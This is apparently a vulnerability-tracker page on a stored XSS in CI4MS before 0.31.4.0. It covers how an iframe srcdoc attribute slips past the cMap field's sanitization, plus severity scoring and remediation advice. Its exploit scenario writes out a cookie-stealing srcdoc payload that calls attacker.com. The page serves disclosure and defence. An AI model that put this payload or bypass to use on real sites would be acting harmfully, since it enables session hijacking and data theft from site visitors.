Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While the CVSS score of 5.5 (Medium) reflects the requirement for authenticated admin-level access (PR:H), the real-world risk is significant due to several factors. The attack vector is network-based with low complexity, and the scope is changed, meaning the vulnerability impacts a different security context (unauthenticated users). The SSVC framework would classify this as important: exploitation is straightforward (low attack complexity), the technical impact is moderate (confidentiality and integrity compromise), and it is automatable. However, the high privilege requirement (admin access needed) reduces the threat actor pool to insider threats or compromised admin accounts. Organizations with strong admin credential protection and change-monitoring may face lower risk. The Medium CVSS rating accurately reflects this privilege barrier, but organizations managing sites with multiple admins or weaker credential hygiene should prioritize this fix to prevent privilege escalation chains or insider attacks that weaponize admin access. |
| Exploit ScenarioDerived | An insider or attacker with compromised admin credentials logs into the CI4MS admin panel and navigates to the Google Maps settings. They enter an <iframe srcdoc="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"> payload in the cMap field. When unauthenticated frontend visitors browse pages displaying the Google Map, the iframe's srcdoc content is rendered in the page context, the HTML-entity-encoded script decodes and executes, and visitor session cookies or sensitive data are exfiltrated to the attacker's server. No public exploit code is required; this vulnerability exploits standard browser iframe behavior combined with incomplete input sanitization. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 08, 2026
Stored cross-site scripting (XSS) in CI4MS prior to 0.31.4.0 allows authenticated administrators to inject malicious JavaScript via the Google Maps iframe setting (cMap field) using the srcdoc attribute, which bypasses existing sanitization filters. The injected payload executes in the browser context of unauthenticated frontend visitors, enabling session hijacking, credential theft, or malware distribution. This vulnerability requires admin-level access to the settings panel but affects all unauthenticated site visitors who view pages with the malicious iframe.
RemediationAI
Vendor-released patch: CI4MS 0.31.4.0. Administrators must upgrade to version 0.31.4.0 or later, which implements proper sanitization of the srcdoc attribute alongside existing event handler filtering. As an interim workaround pending upgrade, restrict access to the Google Maps settings page (compInfosPost function) to a minimal set of trusted administrators with audited credentials, and review audit logs for any suspicious modifications to the cMap field. Additionally, implement Content Security Policy (CSP) headers on the frontend to mitigate the impact of injected iframe content. For detailed patch and upgrade instructions, consult the GitHub advisory at https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CI4MS is a CodeIgniter 4-based content management system that implements input sanitization using PHP's strip_tags() function with an allowlist for the <iframe> tag and regex-based removal of event handlers matching the pattern on\w+ (such as onclick, onload, onerror). However, the srcdoc attribute is not an event handler attribute and therefore escapes both filters. The srcdoc attribute allows embedding arbitrary HTML content directly within an iframe without requiring an external src URL, and when populated with HTML-entity-encoded JavaScript, the browser's HTML decoder will execute the script in the parent page's security context. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) stems from incomplete attribute filtering rather than inadequate tag filtering. The vulnerability specifically affects the compInfosPost() function responsible for processing Google Maps configuration, demonstrating a bypass of defensive input validation logic.
Know when Ci4ms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionNVD
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc="..."> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors. This vulnerability is fixed in 0.31.4.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in CI4MS Multiple Vulnerabilities
View all 6CI4MS (CodeIgniter 4 CMS skeleton) has a code injection vulnerability (CVSS 9.9) allowing authenticated users to execute
Stored Cross-Site Scripting in CI4MS methods management allows authenticated users to inject malicious JavaScript into a
Stored cross-site scripting in CI4MS role/group management allows authenticated attackers to inject malicious JavaScript
Stored cross-site scripting in CI4MS before 0.31.2.0 allows an authenticated user with System Settings → Company Informa
Stored cross-site scripting in CI4MS backend user management allows authenticated attackers with low-level privileges to
Stored cross-site scripting in CI4MS blog category management allows authenticated users to inject malicious JavaScript
Stored cross-site scripting in CI4MS before 0.31.0.0 lets an authenticated user with blog create/edit rights save JavaSc
Stored cross-site scripting in CI4MS (CodeIgniter 4 CMS) allows authenticated users with blog post management privileges
Stored cross-site scripting (XSS) in CI4MS page management functionality allows authenticated attackers to inject malici
Stored cross-site scripting (XSS) in CI4MS menu management allows authenticated users with low privileges to inject mali
Stored cross-site scripting in CI4MS menu management allows authenticated attackers to inject malicious scripts that exe
EUVD-2026-20483
GHSA-x3hr-cp7x-44r2
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB